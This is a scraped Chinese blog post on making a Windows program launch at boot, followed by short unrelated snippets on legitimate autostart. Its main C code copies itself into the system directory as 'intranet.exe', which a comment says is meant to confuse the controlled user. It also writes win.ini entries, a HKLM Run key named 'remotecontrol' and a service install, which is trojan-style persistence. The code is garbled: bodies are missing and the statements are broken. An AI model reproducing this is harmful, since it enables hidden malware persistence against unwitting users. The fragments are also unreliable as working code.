C 實現程式開機自啟動

2021-06-12 09:17:01 字數 1801 閱讀 8373

可以採用以下方式實現自啟動:

//拷貝到系統目錄

tchar temppath[max_path];

cstring temp;

::getsystemdirectory(temppath ,max_path);

temp = temppath;

temp = temp + _t("\\intranet.exe");

int len = temp.getlength();

lpbyte lpb = new byte[len];

for(int j = 0; j < len; j++)

lpb[j] = 0;

//把本程式拷貝到系統目錄下,並改名為intranet.exe,這樣做的目的是為了迷惑被控制端使用者

copyfile("autoboot.exe", temp ,false);

1.修改win.ini(c:\windows\win.ini)檔案:

writeprivateprofilestring(_t("windows"), _t("load"), temp, _t("c:\\windows\\win.ini"));

writeprivateprofilestring(_t("windows"), _t("run"), temp, _t("c:\\windows\\win.ini"));

2.採用載入登錄檔方式啟動:

hkey hkey;

lpctstr data_set="software\\microsoft\\windows\\currentversion\\run";

long ret0=(::regopenkeyex(hkey_local_machine,data_set,0,key_write,&hkey));

if(ret0 != error_success)

long ret1=(::regsetvalueex(hkey,_t("remotecontrol"),null,reg_sz,lpb,len));

if(ret1!=error_success)

//關閉登錄檔中的相應的項

::regclosekey(hkey);

3.註冊為系統服務:

void winapi servicemain(dword argc, lptstr *argv); //服務主函式

void winapi cmdstart(void); //要啟動的程式函式

void winapi servicectrlhandler(dword opcode); //服務控制函式

bool installservice(); //安裝服務的函式

bool deleteservice(); //刪除服務的函式

在main函式中執行下列:

service_table_entry dispatchtable=,}; //最後的null指明陣列的結束

startservicectrldispatcher(dispatchtable);

installservice(); //安裝服務

void winapi servicemain(dword argc, lptstr *argv)

void winapi servicectrlhandler(dword opcode) //服務控制函式

return;

}bool installservice() //安裝服務函式

bool deleteservice()

void winapi cmdstart(void)

C 實現程式開機自啟動

最近在做乙個自動備份檔案的小工具,需要用到開機自啟動 下面是 private void checkbox8 checkedchanged object sender,eventargs e 取消開機自啟動 else catch exception ex 第一種方法原理是直接把可執行檔案的快捷方式複製...

開機自啟動程式

昨天做了個brew開機自啟動的demo,在此記下該程式的要點。brew平台可以做到開機就自啟動brew 應用,這需要在mif中做如下設定 增加乙個notification aeeclsid shell 設定notififer aeeclsid shell 設定mask nmask shell ini...

C 開機自啟動

using microsoft.win32 新增命名空間 設定開機自啟動 寫入登錄檔 public static bool setselfstarting catch exception ex 取消開機自啟 刪除登錄檔 public static bool cancelselfstarting ca...